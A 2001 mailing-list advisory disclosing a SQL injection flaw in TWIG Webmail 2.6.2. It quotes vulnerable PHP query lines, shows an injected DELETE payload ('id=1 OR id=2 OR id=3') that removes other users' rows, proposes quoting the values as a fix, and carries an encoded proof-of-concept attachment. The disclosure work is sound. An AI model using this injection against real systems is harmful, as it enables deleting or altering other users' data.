Date: Mon, 28 May 2001 21:00:55 +0700 (JAVT)
From: Luki Rustianto <[email protected]>
To: [email protected]Subject: TWIG SQL query bugs
---1765113115-1024798572-991058455=:19797
Content-Type: TEXT/PLAIN; charset=US-ASCII
I can't find the person who really in charge on developing twig, so I
mail about this bug to the person who announce new version of twig
about two month ago.
--------------------------------------------------------------------------
Subject: Unquoted SQL query => potential damage
Software package: TWIG Webmail
Software Site: HTTP://twig.screwdriver.net
Version tested: 2.6.2 and below (used with MySQL, didn't check others)
Platform: Platform independent with PHP
Result: Any user with valid email account can delete or change
other user's data on mysql database.
Proof Of Concept: Attached
Problem Description:
Unquoted SQL query string is a little mistake that could lead to potential
damage.
TWIG free PHP Webmail system is affected. As we know, mysql accept unquoted
query string if the field type is int, mediumint, tinyint or like.
The query:
DELETE FROM mytable WHERE id='1' AND owner='karet'
have the same effect with:
DELETE FROM mytable WHERE id=1 AND owner='karet'
However additional caution must be made if variable 'id' values on above
example is a user suplied data thus could make that user to have control
over sql query and made a modified version of query like:
DELETE FROM mytable WHERE id=1 OR id=2 OR id=3 AND owner='karet'
~~~~~~~~~~~~~~~~
(modified value)
the modified query string above, ofcourse, have diferent meanings :)
value of "$id=1" is changed to "$id=1 OR id=2 OR id=3".
Doing 'grep -r "WHERE id=" <TWIG installation dir>/lib/*' will output
LOT of intresting informations of which function has query string
match our need - this may varies depend on TWIG version you have.
Some of them:
groups/personal.groups.inc.php3:
$query = "UPDATE " . $dbconfig["groups_table"] . " SET groupname='" .
$newname . "' WHERE id=" . $groupid;
[... lots other]
schedule/schedule.edit.inc.php3:
$query = "DELETE FROM " . $dbconfig["schedule_table"] . " WHERE id = " .
$data["id"] . " AND (" . $groupquery . ")";
[... lots other]
... and other files.
Or if you really want to clearly see and debug every query made by TWIG
then with help of query system on TWIG it can be done easilly :)
TWIG has a function named 'dbQuery' that always called on every
sql query request.
(if used with mysql it's on <twig dir>/lib/db/mysql.db.inc.php3)
Add the following code at the top of Function dbQuery( $statement )
to be like (with TWIG 2.6.2):
[SNIP]
$fp = fopen ("/tmp/twig_sql.log", "a");
fwrite ($fp, $statement);
fclose($fp);
[/SNIP]
so every sql request string will be appended to file "/tmp/twig_sql.log".
>From that file you can see every action performed and audit it.
Solutions:
=============
just simply add a proper quoted sign "'" to query string that using
int,mediumint, tinyint and so like field type as WHERE clause.
If the $id values on example above lied between a quoted sign then the query
will looks like:
DELETE FROM mytable WHERE id='1 OR id=2 OR id=3' AND owner='karet'
which will output no result at all ... (on normal operation we can not
inject own quote "'" sign as PHP will filter and change it to "\'")
NB: thx to echo for let me test it (also for the beers ;p).
jenggo <[email protected]>
http://www.karet.org
---1765113115-1024798572-991058455=:19797
Content-Type: TEXT/plain; name="twig.txt"
Content-Transfer-Encoding: BASE64
Content-ID: <[email protected]>
Content-Description: text
Content-Disposition: attachment; filename="twig.txt"
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0N
CltGcmkgTWFyICAyIDIxOjU4OjQ2IEpBVlQgMjAwMV0NClRXSUcgV2VibWFp
bCBVbnF1b3RlZCBRdWVyeSBTdHJpbmcNClByb29mIE9mIENvbmNlcHQgYnkg
amVuZ2dvIDxsdWtpQGthcmV0Lm9yZz4NCj09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09DQpXZSB3aWxsIHRyeSB0byBkZWxl
dGUgb3RoZXIgdXNlciBteXNxbCBkYXRhLCBpbiB0aGlzIGV4YW1wbGUgJ2Jv
b2ttYXJrcycNCmRhdGEuIFNhbWUgYWN0aW9uIGNhbiBiZSBtYWRlIG9uIG90
aGVyIGRhdGEgbGlrZSAnY29udGFjdCcgb3IgZWxzZSAuLi4NCllvdSBtdXN0
IGhhdmUgZXhpc3RpbmcgZGF0YSBiZWZvcmUgY2hhbmdlL2RlbGV0ZWQgb3Ro
ZXJzLCBzbyBhZGQgaXQgZmlyc3QuDQoNCi0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0t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